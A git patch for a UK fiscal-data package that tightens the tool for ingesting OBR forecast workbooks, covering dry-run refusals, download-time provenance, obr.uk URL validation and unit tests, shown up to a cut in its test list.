Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Sol delta review of #592 at f1faff2f (four P3 findings), plus one unit fix:
- A workbook title must also say "detailed forecast tables", so "Economic
  and fiscal outlook – October 2026: supplementary fiscal tables –
  receipts" is refused.
- A dry run reports what the real ingest would refuse (an ingested
  vintage, an interrupted ingest's leftovers, a download page missing or
  off obr.uk) as "would refuse: ..." lines, returns them in
  IngestResult.refusals and exits 1, still writing nothing. A real ingest
  raises exactly those refusals. A dry run of the active vintage on the
  bytes its manifest names is a rehearsal, not a refusal.
- Each manifest file records downloaded_at_basis: mtime or given, or
  unrecorded when there is no downloaded_at. The March 2026 workbooks
  entered git in 11e41f9d with no download time, so theirs is unrecorded.
- A download page must be https on obr.uk or a subdomain, with nothing in
  the address but the host and port 443.
- A sub-heading restating the table's own unit ("£ billion", "£bn") is no
  longer refused.
- The manifest text is parsed back before anything is written.
- The CLI rehearsal tests run on a copy of the committed manifest and
  workbooks made the active one, so no test can touch the committed files.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/obr-source-manifest.changed.md    |   2 +-
 policyengine_uk_data/targets/obr_sources.py   | 230 +++++++++-----
 .../source_manifests/obr_march_2026.yaml      |   6 +
 .../tests/test_obr_sources.py                 | 293 +++++++++++++++++-
 4 files changed, 443 insertions(+), 88 deletions(-)

diff --git a/changelog.d/obr-source-manifest.changed.md b/changelog.d/obr-source-manifest.changed.md
index b524adfd..8a609f7c 100644
--- a/changelog.d/obr-source-manifest.changed.md
+++ b/changelog.d/obr-source-manifest.changed.md
@@ -1 +1 @@
-Build the OBR targets only from the committed EFO workbooks named, with their SHA-256 and title, in a vintage manifest (`targets/source_manifests/`). Read each table's financial years from its header row rather than fixed column letters, and fail the build when a manifest target or year is missing instead of logging and dropping it. Add `python -m policyengine_uk_data.targets.obr_sources ingest` for adopting a new EFO vintage, which prints every target's change.
+Build the OBR targets only from the committed EFO workbooks named, with their SHA-256 and title, in a vintage manifest (`targets/source_manifests/`). Read each table's financial years from its header row rather than fixed column letters, and fail the build when a manifest target or year is missing instead of logging and dropping it. Add `python -m policyengine_uk_data.targets.obr_sources ingest` for adopting a new EFO vintage, which prints every target's change; its `--dry-run` reports, and exits non-zero on, an ingested vintage, an interrupted ingest's leftovers or a download page off obr.uk, which the real ingest refuses.
diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index 6898341f..93b81390 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -24,21 +24,26 @@
 obr.uk refuses scripted downloads (HTTP 403 to GitHub Actions runners, as
 11e41f9d records, and to a developer machine on 2026-10-15), so a person
 downloads the two "detailed forecast tables" workbooks in a browser and
-passes their paths. ``--dry-run`` checks everything and prints each
-workbook's title, SHA-256, size and download time and every target's old
-and new value, writing nothing. It also says whether the bytes match the
-committed workbooks when the vintage is the active one, which makes a
-March 2026 download a rehearsal. Without ``--dry-run``, ``ingest`` also
-needs ``--receipts-url`` and ``--expenditure-url``, the pages the workbooks
-came from, which every target cites. It parses the workbooks in a staging
-folder and then moves them under ``storage/obr_efo/<vintage>/``. It requires
+passes their paths, with ``--receipts-url`` and ``--expenditure-url``, the
+obr.uk pages they came from, which every target cites. ``ingest`` requires
 each workbook's title to name the vintage and no other, and requires the
-targets the current manifest requires. It writes the manifest with each
-file's SHA-256, size and download time (the file's modification time unless
-``--downloaded-at`` is given). Each part is written under a temporary name
-and renamed into place, so an interrupted ingest leaves a ``.partial`` file
-that the next attempt names. It never replaces an ingested vintage. Point
+targets the current manifest requires. It parses the workbooks in a staging
+folder and then moves them under ``storage/obr_efo/<vintage>/``. It writes
+the manifest with each file's SHA-256, size and download time, and the
+basis of that time: ``mtime``, the file's modification time, or ``given``
+with ``--downloaded-at``, which a copied or unzipped file needs. Each part is written under a temporary name and
+renamed into place, so an interrupted ingest leaves a ``.partial`` file that
+the next attempt names. It never replaces an ingested vintage. Point
 ``sources.yaml`` at the new manifest to adopt it.
+
+``--dry-run`` checks everything and prints each workbook's title, SHA-256,
+size and download time and every target's old and new value, writing
+nothing. The three things a real ingest refuses before parsing (an ingested
+vintage, an earlier ingest's leftovers, a download page missing or off
+obr.uk) it prints as "would refuse: ..." and exits non-zero; any other
+problem raises, as in a real ingest. On the active vintage it says whether
+the bytes are the committed workbooks; the same bytes are a rehearsal of
+the Budget-day path, not a refusal.
 """
 
 from __future__ import annotations
@@ -54,7 +59,8 @@
 from datetime import date, datetime, timezone
 from functools import lru_cache
 from pathlib import Path
-from typing import Mapping, Optional, Sequence
+from typing import Mapping, NamedTuple, Optional, Sequence
+from urllib.parse import urlsplit
 
 import openpyxl
 import yaml
@@ -62,6 +68,9 @@
 MANIFEST_DIR = Path(__file__).parent / "source_manifests"
 KINDS = ("receipts", "expenditure")
 UNIT_SCALES = {"£ billion": 1e9}
+# How a download time is known: the file's modification time at ingest, or a
+# time given with --downloaded-at.
+DOWNLOAD_TIME_BASES = ("mtime", "given")
 _FINANCIAL_YEAR = re.compile(r"^\s*(\d{4})\s*[-–]\s*(\d{2})\s*$")
 _HEADER_ROWS = 10
 _UNIT_ROWS = 4
@@ -84,8 +93,10 @@ class SourceFile:
     title: str  # the workbook's own title, cell B2 of its Contents sheet
     url: str
     retrieved: str
-    # When the file was downloaded (ISO 8601 with a UTC offset), if known.
+    # When the file was downloaded (ISO 8601 with a UTC offset), if known, and
+    # how: one of DOWNLOAD_TIME_BASES, or "unrecorded" when there is no time.
     downloaded_at: Optional[str] = None
+    downloaded_at_basis: str = "unrecorded"
 
 
 @dataclass(frozen=True)
@@ -127,6 +138,15 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
         sha = str(entry["sha256"])
         if not re.fullmatch(r"[0-9a-f]{64}", sha):
             raise SourceError(f"{where}: {kind} sha256 must be 64 hex characters")
+        downloaded_at = _timestamp(entry.get("downloaded_at"), f"{where}: {kind}")
+        bases = DOWNLOAD_TIME_BASES if downloaded_at else ("unrecorded",)
+        basis = entry.get("downloaded_at_basis")
+        if basis not in bases:
+            raise SourceError(
+                f"{where}: {kind} downloaded_at_basis is {basis!r}; with "
+                f"{'a' if downloaded_at else 'no'} downloaded_at it must be "
+                + " or ".join(bases)
+            )
         files[kind] = SourceFile(
             kind=kind,
             path=str(entry["path"]),
@@ -135,7 +155,8 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
             title=str(entry["title"]),
             url=str(entry["url"]),
             retrieved=str(entry["retrieved"]),
-            downloaded_at=_timestamp(entry.get("downloaded_at"), f"{where}: {kind}"),
+            downloaded_at=downloaded_at,
+            downloaded_at_basis=basis,
         )
     required, alternatives = [], []
     for item in (raw.get("targets") or {}).get("required") or []:
@@ -198,11 +219,11 @@ def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str)
 
     ``march_2026`` must be labelled "March 2026". Each workbook's title must
     name that vintage and no other, call itself the Economic and fiscal
-    outlook, and end with its kind, ignoring a closing note in brackets and
-    punctuation: "March 2026 Economic and fiscal outlook - detailed forecast
-    tables: receipts" or "Economic and fiscal outlook, March 2026: detailed
-    forecast tables - receipts (revised)". The title is read from the verified
-    bytes, so the bytes decide the vintage.
+    outlook's detailed forecast tables, and end with its kind, ignoring a
+    closing note in brackets and punctuation: "March 2026 Economic and fiscal
+    outlook - detailed forecast tables: receipts" or "Economic and fiscal
+    outlook, March 2026: detailed forecast tables - receipts (revised)". The
+    title is read from the verified bytes, so the bytes decide the vintage.
     """
     if not re.fullmatch(r"[a-z]+_\d{4}", vintage):
         raise SourceError(f"{where}: vintage must look like october_2026")
@@ -216,6 +237,7 @@ def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str)
         if (
             named != {want}
             or "economic and fiscal outlook" not in normal
+            or "detailed forecast tables" not in normal
             or not re.search(rf"\b{kind}$", tail)
         ):
             raise SourceError(
@@ -357,11 +379,16 @@ def unit_scale(ws, unit: str) -> float:
     re.IGNORECASE,
 )
 # A sub-heading that restates the unit for the rows under it, as "£ million"
-# or "Memo: per cent".
+# or "Memo: per cent". One giving the table's own unit, as "£ billion" or "£bn"
+# under a "£ billion unless otherwise stated" table, changes nothing and is
+# not refused.
 _UNIT_HEADING = re.compile(
-    rf"^\s*(?:memo\s*:?\s*)?(?:£\s*)?{_UNIT_WORD}(?:\s+unless otherwise stated)?\s*$",
+    rf"^\s*(?:memo\s*:?\s*)?(?P<unit>(?:£\s*)?{_UNIT_WORD})"
+    r"(?:\s+unless otherwise stated)?\s*$",
     re.IGNORECASE,
 )
+# How each unit in UNIT_SCALES may be spelt in such a sub-heading.
+_TABLE_UNIT_SPELLINGS = {"£ billion": re.compile(r"£\s*(?:bn|billions?)")}
 
 
 def read_row(ws, row: int, manifest: ObrManifest) -> dict:
@@ -376,10 +403,12 @@ def read_row(ws, row: int, manifest: ObrManifest) -> dict:
             f"{ws.title}!B{row}: {label!r} states its own unit, not the table's "
             f"{manifest.unit}"
         )
+    own_unit = _TABLE_UNIT_SPELLINGS[manifest.unit]
     for above in range(_UNIT_ROWS + 1, row):
         for column in "AB":
             heading = ws[f"{column}{above}"].value
-            if isinstance(heading, str) and _UNIT_HEADING.match(_normal(heading)):
+            match = isinstance(heading, str) and _UNIT_HEADING.match(_normal(heading))
+            if match and not own_unit.fullmatch(match["unit"]):
                 raise SourceError(
                     f"{ws.title}!{column}{above}: the sub-heading {heading!r} above "
                     f"row {row} gives its own unit, not the table's {manifest.unit}"
@@ -476,6 +505,7 @@ def _manifest_yaml(manifest: ObrManifest, alternatives_raw) -> str:
                 "url": f.url,
                 "retrieved": f.retrieved,
                 **({"downloaded_at": f.downloaded_at} if f.downloaded_at else {}),
+                "downloaded_at_basis": f.downloaded_at_basis,
             }
             for kind, f in manifest.files.items()
         },
@@ -492,6 +522,33 @@ def _manifest_yaml(manifest: ObrManifest, alternatives_raw) -> str:
     return header + yaml.safe_dump(raw, sort_keys=False, allow_unicode=True)
 
 
+class IngestResult(NamedTuple):
+    manifest: ObrManifest
+    path: Path  # where the manifest is, or would be, written
+    diff: list  # each target's current and new value by year
+    # What a real ingest would refuse. Only a dry run returns any; a real
+    # ingest raises them instead.
+    refusals: list
+
+
+def is_obr_page(url) -> bool:
+    """Whether a download page is https on obr.uk or one of its subdomains.
+
+    The address must be the host alone, or with port 443: no user name, no
+    other port, and no backslash, which ``urlsplit`` leaves in the address.
+    """
+    try:
+        parts = urlsplit(str(url))
+        host = parts.hostname or ""
+    except ValueError:
+        return False
+    return (
+        parts.scheme == "https"
+        and parts.netloc.lower() in (host, f"{host}:443")
+        and bool(re.fullmatch(r"(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)*obr\.uk", host))
+    )
+
+
 def ingest(
     *,
     vintage: str,
@@ -506,14 +563,21 @@ def ingest(
     retrieved: Optional[str] = None,
     downloaded_at: Optional[Mapping[str, str]] = None,
     dry_run: bool = False,
-):
-    """Adopt a vintage's two workbooks. Returns (manifest, manifest path, diff).
+) -> IngestResult:
+    """Adopt a vintage's two workbooks.
 
     Each workbook's SHA-256, size and download time go into the manifest.
-    The download time is ``downloaded_at[kind]`` if given, otherwise the
-    file's modification time, which a browser sets when it saves a download.
-    With ``dry_run`` everything is checked and the diff returned, but
-    nothing is written; the manifest returned is not on disk.
+    The download time is ``downloaded_at[kind]`` if given (basis ``given``),
+    otherwise the file's modification time (basis ``mtime``). Copying a file
+    without keeping its times, or unzipping it, changes that time, so give
+    the time for such a file.
+
+    A real ingest refuses an ingested vintage, an earlier ingest's leftovers
+    and a download page that is not https on obr.uk. A dry run returns those
+    as ``refusals`` instead; it checks everything else as a real ingest does,
+    raising on any other problem, returns the diff and writes nothing. The
+    manifest it returns is not on disk. A dry run of the active vintage on the bytes its
+    manifest names is a rehearsal, so that manifest is not a refusal.
 
     Everything is checked in a staging folder first: both workbooks read
     and carry the vintage's titles, and the build's parsers yield every
@@ -537,32 +601,41 @@ def ingest(
     path = manifest_dir / f"obr_{vintage}.yaml"
     partial_dir = destination.parent / f".{vintage}.partial"
     partial_manifest = path.with_name(f".{path.name}.partial")
-    if not dry_run:
-        if path.exists():
-            raise SourceError(
+    data = {kind: Path(sources[kind]).read_bytes() for kind in KINDS}
+    rehearsal = (
+        dry_run
+        and current.path is not None
+        and path.resolve() == Path(current.path).resolve()
+        and all(sha256_bytes(data[k]) == current.files[k].sha256 for k in KINDS)
+    )
+    refusals = []
+    if path.exists():
+        if not rehearsal:
+            refusals.append(
                 f"{vintage} is already ingested ({path} exists); remove it "
                 "deliberately before ingesting again"
             )
+    else:
         leftovers = [
             p for p in (destination, partial_dir, partial_manifest) if p.exists()
         ]
         if leftovers:
-            raise SourceError(
+            refusals.append(
                 f"an earlier ingest of {vintage} stopped part way: "
                 f"{', '.join(str(p) for p in leftovers)} exist but {path.name} does "
                 "not. Remove them deliberately, then ingest again"
             )
-        missing = [
-            kind for kind in KINDS if not str(urls.get(kind, "")).startswith("https://")
-        ]
-        if missing:
-            raise SourceError(
-                f"ingest: give the https page each workbook was downloaded from "
-                f"(--{missing[0]}-url); every target cites it"
-            )
-    files, titles, data = {}, {}, {}
+    missing = [kind for kind in KINDS if not is_obr_page(urls.get(kind, ""))]
+    if missing:
+        refusals.append(
+            "give the obr.uk https page each workbook was downloaded from ("
+            + ", ".join(f"--{kind}-url" for kind in missing)
+            + "); every target cites it"
+        )
+    if refusals and not dry_run:
+        raise SourceError("ingest: " + "; ".join(refusals))
+    files, titles = {}, {}
     for kind in KINDS:
-        data[kind] = Path(sources[kind]).read_bytes()
         try:
             wb = openpyxl.load_workbook(io.BytesIO(data[kind]), data_only=False)
         except Exception as error:
@@ -572,6 +645,10 @@ def ingest(
                 "download the workbook in a browser"
             ) from error
         titles[kind] = workbook_title(wb)
+        given = downloaded_at.get(kind)
+        mtime = datetime.fromtimestamp(
+            Path(sources[kind]).stat().st_mtime, tz=timezone.utc
+        )
         files[kind] = SourceFile(
             kind=kind,
             path=f"obr_efo/{vintage}/{kind}.xlsx",
@@ -580,13 +657,8 @@ def ingest(
             title=titles[kind],
             url=urls.get(kind, ""),
             retrieved=retrieved,
-            downloaded_at=_timestamp(
-                downloaded_at.get(kind)
-                or datetime.fromtimestamp(
-                    Path(sources[kind]).stat().st_mtime, tz=timezone.utc
-                ),
-                f"ingest: {kind}",
-            ),
+            downloaded_at=_timestamp(given or mtime, f"ingest: {kind}"),
+            downloaded_at_basis="given" if given else "mtime",
         )
     check_names(vintage, label, titles, "ingest")
     manifest = ObrManifest(
@@ -607,13 +679,14 @@ def ingest(
             staged.write_bytes(data[kind])
         # Raises unless the new workbooks yield every target and year required.
         new = obr.workbook_targets(manifest, staging)
-    old = obr.workbook_targets(current)
+    diff = target_diff(obr.workbook_targets(current), new)
     text = _manifest_yaml(
         manifest,
         [[sorted(group) for group in groups] for groups in current.alternatives],
     )
+    parse_manifest(yaml.safe_load(text), path)  # reads back before it is written
     if dry_run:
-        return manifest, path, target_diff(old, new)
+        return IngestResult(manifest, path, diff, refusals)
     # Write each part under a temporary name and rename it into place, so an
     # interrupted ingest leaves a partial file that the next attempt names,
     # never a half-written workbook or manifest under the real name.
@@ -624,7 +697,7 @@ def ingest(
     manifest_dir.mkdir(parents=True, exist_ok=True)
     partial_manifest.write_text(text)
     os.replace(partial_manifest, path)
-    return load_manifest(path), path, target_diff(old, new)
+    return IngestResult(load_manifest(path), path, diff, [])
 
 
 def _gbp(value) -> str:
@@ -641,20 +714,26 @@ def main(argv=None) -> int:
     i.add_argument("--label", required=True, help='e.g. "October 2026"')
     i.add_argument("--receipts", required=True, type=Path)
     i.add_argument("--expenditure", required=True, type=Path)
-    i.add_argument("--receipts-url", default="")
-    i.add_argument("--expenditure-url", default="")
+    i.add_argument(
+        "--receipts-url", default="", help="the obr.uk page it was downloaded from"
+    )
+    i.add_argument(
+        "--expenditure-url", default="", help="the obr.uk page it was downloaded from"
+    )
     i.add_argument("--first-year", required=True, type=int)
     i.add_argument("--last-year", required=True, type=int)
     i.add_argument("--retrieved", help="how the files were obtained")
     i.add_argument(
         "--downloaded-at",
-        help="when the workbooks were downloaded (ISO 8601 with offset); "
-        "default: each file's modification time",
+        help="when the workbooks were downloaded (ISO 8601 with offset), "
+        "recorded with basis 'given'; default: each file's modification time, "
+        "with basis 'mtime'",
     )
     i.add_argument(
         "--dry-run",
         action="store_true",
-        help="check everything and print the change, but write nothing",
+        help="check everything and print the change, but write nothing; "
+        "exits 1 if the real ingest would refuse",
     )
     v = sub.add_parser("verify", help="verify the active manifest's workbooks")
     v.add_argument("--manifest", help="manifest file (default: the active one)")
@@ -667,7 +746,7 @@ def main(argv=None) -> int:
         check_coverage(targets, manifest)
         print(f"{manifest.label}: both workbooks verified, {len(targets)} targets")
         return 0
-    manifest, path, diff = ingest(
+    result = ingest(
         vintage=args.vintage,
         label=args.label,
         sources={"receipts": args.receipts, "expenditure": args.expenditure},
@@ -680,26 +759,35 @@ def main(argv=None) -> int:
         else None,
         dry_run=args.dry_run,
     )
+    manifest, path = result.manifest, result.path
     for kind, f in manifest.files.items():
         print(
             f"{kind}: {f.title}; sha256 {f.sha256}, {f.size_bytes:,} bytes, "
-            f"downloaded {f.downloaded_at}"
+            f"downloaded {f.downloaded_at} (basis: {f.downloaded_at_basis})"
         )
-    print(f"{'would write' if args.dry_run else 'wrote'} {path}")
     print("target,year,current £bn,new £bn")
-    for row in diff:
+    for row in result.diff:
         print(f"{row['target']},{row['year']},{_gbp(row['old'])},{_gbp(row['new'])}")
     if not args.dry_run:
+        print(f"wrote {path}")
         print(f"To adopt it, set obr.manifest in sources.yaml to {path.name}.")
+        return 0
+    current = active_manifest()
+    if manifest.vintage == current.vintage:
+        for kind, f in manifest.files.items():
+            same = f.sha256 == current.files[kind].sha256
+            print(
+                f"{kind}: {'the same bytes as' if same else 'different bytes from'} "
+                f"the committed {current.label} workbook"
+            )
+    for refusal in result.refusals:
+        print(f"would refuse: {refusal}")
+    if result.refusals:
+        return 1
+    if path.exists():
+        print(f"{path} already names these bytes: a rehearsal, nothing to write")
     else:
-        current = active_manifest()
-        if manifest.vintage == current.vintage:
-            for kind, f in manifest.files.items():
-                same = f.sha256 == current.files[kind].sha256
-                print(
-                    f"{kind}: {'the same bytes as' if same else 'different bytes from'} "
-                    f"the committed {current.label} workbook"
-                )
+        print(f"would write {path}")
     return 0
 
 
diff --git a/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
index a0716cc2..6d63f13c 100644
--- a/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
+++ b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml
@@ -10,6 +10,10 @@ label: March 2026
 first_year: 2024
 last_year: 2030
 unit: £ billion
+# Neither workbook has a downloaded_at. Both entered git in 11e41f9d, so
+# they were downloaded no later than 2026-07-21T21:06:50+01:00, but nothing
+# recorded when (git keeps no file times): their download time is neither an
+# mtime nor a given one.
 files:
   receipts:
     path: obr_efo/efo_receipts.xlsx
@@ -22,6 +26,7 @@ files:
       workbook's own properties record it as modified on 2026-03-02.
       obr.uk refused scripted downloads on 2026-10-15 (HTTP 403), so the
       bytes were not re-fetched for this manifest.
+    downloaded_at_basis: unrecorded
   expenditure:
     path: obr_efo/efo_expenditure.xlsx
     sha256: 700bfd700c872794e5fe8cf164086cd38a63850db26427b9d4b2e363d177d9a1
@@ -33,6 +38,7 @@ files:
       workbook's own properties record it as modified on 2026-03-02.
       obr.uk refused scripted downloads on 2026-10-15 (HTTP 403), so the
       bytes were not re-fetched for this manifest.
+    downloaded_at_basis: unrecorded
 # Every target the workbooks must yield, each with every year above. A
 # target the parsers build that is not listed here also fails, so changing
 # the target set means changing this list.
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index 5393acc4..9bd63c1d 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -10,9 +10,12 @@
 
 import io
 import shutil
+from dataclasses import replace
+from datetime import datetime, timedelta, timezone
 
 import openpyxl
 import pytest
+import yaml
 from hypothesis import HealthCheck, given, settings
 from hypothesis import strategies as st
 
@@ -299,7 +302,7 @@ def _sources(tmp_path):
 
 
 def _ingest(tmp_path, **overrides):
-    (tmp_path / "manifests").mkdir(exist_ok=True)
+    (tmp_path / "manifests").mkdir(parents=True, exist_ok=True)
     arguments = dict(
         vintage="march_2026",
         label="March 2026",
@@ -317,8 +320,9 @@ def _ingest(tmp_path, **overrides):
 
 
 def test_ingesting_the_same_workbooks_reproduces_the_targets(tmp_path, march_targets):
-    manifest, path, diff = _ingest(tmp_path)
+    manifest, path, diff, refusals = _ingest(tmp_path)
     assert path.name == "obr_march_2026.yaml"
+    assert refusals == []
     assert manifest.vintage == "march_2026"
     assert {k: f.sha256 for k, f in manifest.files.items()} == {
         k: f.sha256 for k, f in MANIFEST.files.items()
@@ -466,13 +470,15 @@ def test_ingest_records_each_download_time(tmp_path):
     when = datetime(2026, 10, 18, 12, tzinfo=timezone.utc).timestamp()
     for path in sources.values():
         os.utime(path, (when, when))
-    manifest, path, _ = _ingest(tmp_path, sources=sources)
-    assert {f.downloaded_at for f in manifest.files.values()} == {
-        "2026-10-18T12:00:00+00:00"
-    }
-    assert "downloaded_at: '2026-10-18T12:00:00+00:00'" in path.read_text()
+    manifest, path, _, _ = _ingest(tmp_path, sources=sources)
+    assert {
+        (f.downloaded_at, f.downloaded_at_basis) for f in manifest.files.values()
+    } == {("2026-10-18T12:00:00+00:00", "mtime")}
+    text = path.read_text()
+    assert "downloaded_at: '2026-10-18T12:00:00+00:00'" in text
+    assert text.count("downloaded_at_basis: mtime") == 2
     (tmp_path / "again").mkdir()
-    manifest, _, _ = _ingest(
+    manifest, path, _, _ = _ingest(
         tmp_path / "again",
         downloaded_at={
             "receipts": "2026-10-28T13:05:00+00:00",
@@ -480,6 +486,8 @@ def test_ingest_records_each_download_time(tmp_path):
         },
     )
     assert manifest.files["receipts"].downloaded_at == "2026-10-28T13:05:00+00:00"
+    assert {f.downloaded_at_basis for f in manifest.files.values()} == {"given"}
+    assert path.read_text().count("downloaded_at_basis: given") == 2
     with pytest.raises(SourceError, match="UTC offset"):
         _ingest(
             tmp_path / "again",
@@ -493,8 +501,9 @@ def test_ingest_records_each_download_time(tmp_path):
 
 
 def test_a_dry_run_checks_everything_and_writes_nothing(tmp_path):
-    manifest, path, diff = _ingest(tmp_path, dry_run=True)
+    manifest, path, diff, refusals = _ingest(tmp_path, dry_run=True)
     assert manifest.vintage == "march_2026"
+    assert refusals == []
     assert diff and all(row["old"] == row["new"] for row in diff)
     assert not path.exists()
     assert not (tmp_path / "storage" / "obr_efo").exists()
@@ -503,10 +512,25 @@ def test_a_dry_run_checks_everything_and_writes_nothing(tmp_path):
         _ingest(tmp_path, vintage="october_2026", label="October 2026", dry_run=True)
 
 
-def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(tmp_path, capsys):
-    """The Budget-day command, end to end, on downloads of the active vintage."""
+@pytest.fixture
+def committed(tmp_path, monkeypatch):
+    """The active manifest and its workbooks, copied under tmp_path and made
+    the active ones, so nothing a test runs can touch the committed files."""
+    storage = _copy_storage(tmp_path / "storage")
+    manifests = tmp_path / "manifests"
+    manifests.mkdir()
+    shutil.copyfile(MANIFEST.path, manifests / MANIFEST.path.name)
+    active = obr_sources.load_manifest(manifests / MANIFEST.path.name)
+    monkeypatch.setattr(obr_sources, "MANIFEST_DIR", manifests)
+    monkeypatch.setattr(obr_sources, "_storage", lambda: storage)
+    monkeypatch.setattr(obr_sources, "active_manifest", lambda: active)
+    return active
+
+
+def _rehearse(tmp_path, *urls):
+    """The Budget-day dry run on copies of the committed March 2026 workbooks."""
     sources = _sources(tmp_path)
-    code = obr_sources.main(
+    return obr_sources.main(
         [
             "ingest",
             "--vintage",
@@ -517,6 +541,7 @@ def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(tmp_path, c
             str(sources["receipts"]),
             "--expenditure",
             str(sources["expenditure"]),
+            *urls,
             "--first-year",
             "2024",
             "--last-year",
@@ -524,10 +549,39 @@ def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(tmp_path, c
             "--dry-run",
         ]
     )
+
+
+def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(
+    tmp_path, committed, capsys
+):
+    """The Budget-day command, end to end, on downloads of the active vintage.
+
+    The committed manifest names these very bytes, so it is a rehearsal, not
+    an ingested vintage the real ingest would refuse.
+    """
+    urls = MANIFEST.files["receipts"].url, MANIFEST.files["expenditure"].url
+    code = _rehearse(tmp_path, "--receipts-url", urls[0], "--expenditure-url", urls[1])
     out = capsys.readouterr().out
     assert code == 0
-    assert "the same bytes as the committed March 2026 workbook" in out
-    assert "would write" in out
+    assert out.count("the same bytes as the committed March 2026 workbook") == 2
+    assert out.count("(basis: mtime)") == 2
+    assert "already names these bytes: a rehearsal, nothing to write" in out
+    assert "would refuse" not in out and "would write" not in out
+
+
+def test_a_dry_run_the_real_ingest_would_refuse_exits_non_zero(
+    tmp_path, committed, capsys
+):
+    """Sol delta review of #592: a rehearsal without the download pages fails."""
+    code = _rehearse(tmp_path)
+    out = capsys.readouterr().out
+    assert code == 1
+    assert (
+        "would refuse: give the obr.uk https page each workbook was downloaded "
+        "from (--receipts-url, --expenditure-url); every target cites it"
+    ) in out
+    assert out.count("the same bytes as the committed March 2026 workbook") == 2
+    assert "would write" not in out and "nothing to write" not in out
 
 
 # Sol re-review of #592: P3 hardening.
@@ -592,6 +646,7 @@ def test_plausible_title_formats_are_accepted(title):
         "October 2026 Fiscal risks and sustainability \u2013 tables: receipts",
         "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: expenditure",
         "October 2026 Economic and fiscal outlook \u2013 receipts: supplementary tables",
+        "Economic and fiscal outlook \u2013 October 2026: supplementary fiscal tables \u2013 receipts",
     ],
 )
 def test_a_title_for_another_vintage_report_or_kind_is_refused(title):
@@ -609,8 +664,14 @@ def test_a_real_ingest_needs_the_download_pages(tmp_path):
     with pytest.raises(SourceError, match="https page"):
         _ingest(tmp_path, urls={"receipts": "", "expenditure": ""})
     assert not (tmp_path / "storage").exists()
-    # A dry run, the Budget-day rehearsal, does not need them.
-    _ingest(tmp_path, urls={}, dry_run=True)
+    # A dry run reports it instead.
+    refusals = _ingest(tmp_path, urls={}, dry_run=True).refusals
+    assert refusals == [
+        (
+            "give the obr.uk https page each workbook was downloaded from "
+            "(--receipts-url, --expenditure-url); every target cites it"
+        )
+    ]
 
 
 def test_an_interrupted_workbook_copy_is_named_on_retry(tmp_path, monkeypatch):
@@ -650,3 +711,203 @@ def fail_on_manifest(source, destination):
         _ingest(tmp_path)
     message = str(refused.value)
     assert "march_2026" in message and ".obr_march_2026.yaml.partial" in message
+
+
+# Sol delta review of #592 at f1faff2f.
+
+
+def test_a_dry_run_reports_what_the_real_ingest_would_refuse(tmp_path):
+    """Leftovers, a page off obr.uk and an ingested vintage, without writing."""
+    partial = tmp_path / "storage" / "obr_efo" / ".march_2026.partial"
+    partial.mkdir(parents=True)
+    urls = {k: f.url for k, f in MANIFEST.files.items()}
+    urls["receipts"] = "https://example.com/receipts.xlsx"
+    _, path, diff, refusals = _ingest(tmp_path, urls=urls, dry_run=True)
+    assert len(refusals) == 2
+    assert "stopped part way" in refusals[0] and ".march_2026.partial" in refusals[0]
+    assert (
+        "https page each workbook was downloaded from (--receipts-url)" in (refusals[1])
+    )
+    # Everything else is still checked, and nothing is written.
+    assert diff and all(row["old"] == row["new"] for row in diff)
+    assert not path.exists()
+    assert [p.name for p in partial.parent.iterdir()] == [partial.name]
+    # The real ingest refuses exactly what the dry run reported.
+    with pytest.raises(SourceError) as refused:
+        _ingest(tmp_path, urls=urls)
+    assert str(refused.value) == "ingest: " + "; ".join(refusals)
+    # An ingested vintage that is not the active manifest is refused too.
+    partial.rmdir()
+    _ingest(tmp_path)
+    refusals = _ingest(tmp_path, dry_run=True).refusals
+    assert len(refusals) == 1 and "march_2026 is already ingested" in refusals[0]
+
+
+def test_a_dry_run_of_the_active_vintage_is_a_rehearsal_only_on_its_own_bytes(
+    tmp_path, committed
+):
+    """The active manifest names these bytes: a rehearsal, not a refusal."""
+    active = {"current": committed, "dry_run": True}
+    _, path, _, refusals = _ingest(tmp_path, **active)
+    assert path == committed.path and refusals == []
+    # Different bytes under the active vintage's name are refused, as a real
+    # ingest refuses any ingested vintage.
+    sources = _sources(tmp_path)
+    openpyxl.load_workbook(sources["receipts"]).save(sources["receipts"])
+    assert obr_sources.sha256_bytes(sources["receipts"].read_bytes()) != (
+        MANIFEST.files["receipts"].sha256
+    )
+    refusals = _ingest(tmp_path, sources=sources, **active).refusals
+    assert len(refusals) == 1 and "march_2026 is already ingested" in refusals[0]
+
+
+@pytest.mark.parametrize(
+    "url, ok",
+    [
+        (MANIFEST.files["receipts"].url, True),
+        ("https://www.obr.uk/download/receipts/", True),
+        ("https://OBR.UK/download/receipts/", True),
+        ("https://obr.uk:443/download/receipts/", True),
+        ("http://obr.uk/download/receipts/", False),
+        ("https://example.com/receipts.xlsx", False),
+        ("https://obr.uk.example.com/receipts/", False),
+        ("https://notobr.uk/receipts/", False),
+        ("https://example.com/obr.uk/receipts/", False),
+        ("https://example.com/?from=https://obr.uk/", False),
+        ("https://obr.uk@example.com/receipts/", False),
+        ("https://example.com\\.obr.uk/receipts/", False),
+        ("https://example.com\\@obr.uk/receipts/", False),
+        ("https://user:password@obr.uk/receipts/", False),
+        ("https://obr.uk:8443/receipts/", False),
